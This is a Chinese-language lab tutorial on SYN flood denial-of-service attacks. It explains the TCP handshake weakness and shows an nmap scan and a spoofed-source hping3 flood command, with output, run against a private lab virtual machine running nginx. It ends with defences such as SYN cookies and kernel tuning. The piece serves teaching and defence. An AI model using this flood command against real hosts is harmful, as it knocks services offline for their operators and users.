利用hping3工具进行SYN FLOOD洪水攻击模拟实验
利用hping3工具进行SYN FLOOD洪水攻击模拟实验
在做模拟实验前，先了解几个概念，同时理解SYN FLOOD洪水攻击的原理。
1.什么是SYN FLOOD洪水攻击？
同Tear Drop泪滴攻击一样，SYN Flood也是一种拒绝服务攻击，其目标是通过发送大量伪造的TCP连接请求（SYN包）来消耗目标系统的资源，从而使得被攻击方资源耗尽而无法响应合法的连接请求的攻击方式。
2.SYN FLOOD攻击原理
SYN FLOOD攻击发生在OSI参考模型的传输层，它的攻击原理是利用TCP协议的三次握手过程协议缺陷来实现的。
正常情况下，客户端和服务器建立TCP连接三次握手过程是这样的：
1）建立连接时，客户端发送一个SYN同步报文给服务器端，该报文中包含了本端的初始化序列号，同时设置本段的连接状态为SYN-SENT。
2）服务器端收到SYN同步报文后，给客户端回应SYN+ACK *报文，该报文中包含本段的初始化序列号。同时设置本端连接状态为*SYN-RCVD。
3）客户端收到服务器端的SYN+ACK后，向服务器端发送ACK报文进行确认，此包发送完毕，客户端和服务器进入ESTABLISHED状态。
三次握手的完成标志着一个TCP连接的成功建立。
但是，当客户端向服务器端发送SYN包后，对服务器端回应的SYN+ACK包不进行处理，会出现什么结果呢，如下图？
服务器端发送完SYN+ACK *报文后，会建立一个半连接状态的*socket套接口，同时会启动一个定时器，若在超时时间内未收到客户端回应的ACK报文，服务器端将会进行超时重传SYN+ACK报文给客户端，默认重传次数为5次。
第1次重传：1秒
第2次重传：2秒
第3次重传：4秒
第4次重传：8秒
第5次重传：16秒
第5次重传后还要等待32秒，若仍收不到 ACK 报文，才会关闭连接。
这样等等待时间=（1+2+4+8+16）+32=63秒，也就是大于1分钟的时间。
这样，若客户端不停的发送SYN报文并对服务端回应的报文不回答，就会导致服务器端不停的创建半连接状态的**socket **而耗尽资源，从而服务器端无法处理正常的客户端的连接请求，造成拒绝服务攻击，即SYN FLOOD洪水攻击。
3. SYN FLOOD攻击的特点
- 攻击手段简单：
SYN FLOOD攻击是一种常见的DoS攻击手段。 - 防不胜防：
SYN FLOOD是一种难以防范的攻击方式，因为其攻击行为在某些情况下很难被察觉和区分。例如，一个SYN FLOOD攻击可能会伪造合法的IP地址，使得攻击行为看起来像是来自正常的网络流量。这使得防火墙、IDS等安全设备很难对其进行有效的检测和拦截。 - 攻击效果显著：
SYN FLOOD攻击能够快速地使目标系统资源耗尽，导致其无法响应合法的连接请求。这使得攻击者能够成功地实施DoS攻击，使目标网站或服务完全瘫痪。 - 危害范围广泛：
SYN FLOOD攻击不仅能够对主机进行攻击，还能够危害路由器、防火墙等网络系统。事实上，只要目标系统打开TCP服务，SYN FLOOD攻击就能够对其实施攻击。
4. SYN FLOOD攻击模拟测试
4.1实验环境准备
两台虚拟机：
| 类型 | IP地址 | 系统 | 备注 |
|---|---|---|---|
| 攻击机器 | 192.168.17.130 |
KALI LINUX |
KALI 自带hping3工具 |
| 被攻击机器 | 192.168.17.131 |
CENTOS 7.9 |
安装nginx服务，开放80端口 |
4.2扫描目标端口
进入kali linux系统，利用Nmap网络地图扫描工具对实施攻击的机器192.168.17.131进行端口扫描：
┌──(root㉿kali)-[~/Desktop]
└─# nmap -sS 192.168.17.131
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-07 02:21 EST
Nmap scan report for 192.168.17.131
Host is up (0.00059s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
MAC Address: 00:0C:29:80:E5:68 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.62 seconds
经扫描，目标机器开放22、80、111端口，现对80端口进行攻击。
4.3对目标端口进行实施攻击
获得目标开放端口后，对其WEB端口利用hping3进行SYS FLOOD洪水攻击：
┌──(root㉿kali)-[~/Desktop]
└─# hping3 -q -n --rand-source -S -p 80 --flood 192.168.17.131
HPING 192.168.17.131 (eth0 192.168.17.131): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.17.131 hping statistic ---
1990472 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
上面命令中，各个选项的含义如下：
-q：安静模式，减少输出信息。-n：不进行DNS解析，直接使用IP地址。--rand-source：从随机源地址发起攻击。-S：使用TCP SYN标志，模拟正常的TCP连接过程。-p 80：指定目标端口为80。--flood：进行洪水攻击，持续发送数据包。192.168.17.131：目标IP地址。
同时开启WIRESHARK对VMNET8网卡进行抓包，这里由于资源崩溃，没有成功保存下来抓到的数据包。
下面的截图没有了。
5.SYN FLOOD洪水攻击一般防护办法
SYN FLOOD攻击的防护措施可以从以下几个方面进行：
1）修改内核参数：
可以临时封源IP地址，或者修改TCP连接三次握手中第二次握手请求次数。具体来说，可以设置net.ipv4.tcp_synack_retries=0（默认值为5），即TCP连接三次握手中第二次握手请求次数，每次等待30~40秒，如果对方没有回应第三个握手包（ACK），即重试。也可以设置net.ipv4.tcp_syncookies=1（默认值为0），以及net.ipv4.tcp_max_syn_backlog=2048。
2）监视和分析网络流量：
可以使用工具来监视和分析网络流量，如果发现某个IP发起了较多的攻击报文，可以将这个IP列入黑名单。
3）使用防火墙、入侵防护系统（IPS）、入侵检测系统（IDS）：
可以在防火墙上增加相应的规则，对SYN FLOOD攻击进行检测和拦截。IDS可以实时监控网络流量，检测并响应SYN FLOOD攻击。
4）SYN Cookies：
启用SYN Cookies机制，这是一种防御SYN Flood攻击的技术，可以在没有建立完整连接之前，对TCP连接进行验证和处理。
5）优化服务器配置：
可以限制同时打开的TCP连接数，以及合理配置TCP/IP参数等，从而减少服务器资源消耗，防止系统崩溃。
6）升级服务器硬件：
为了更好地防御SYN FLOOD攻击，可以考虑升级服务器的硬件配置，提高处理能力和内存容量等。
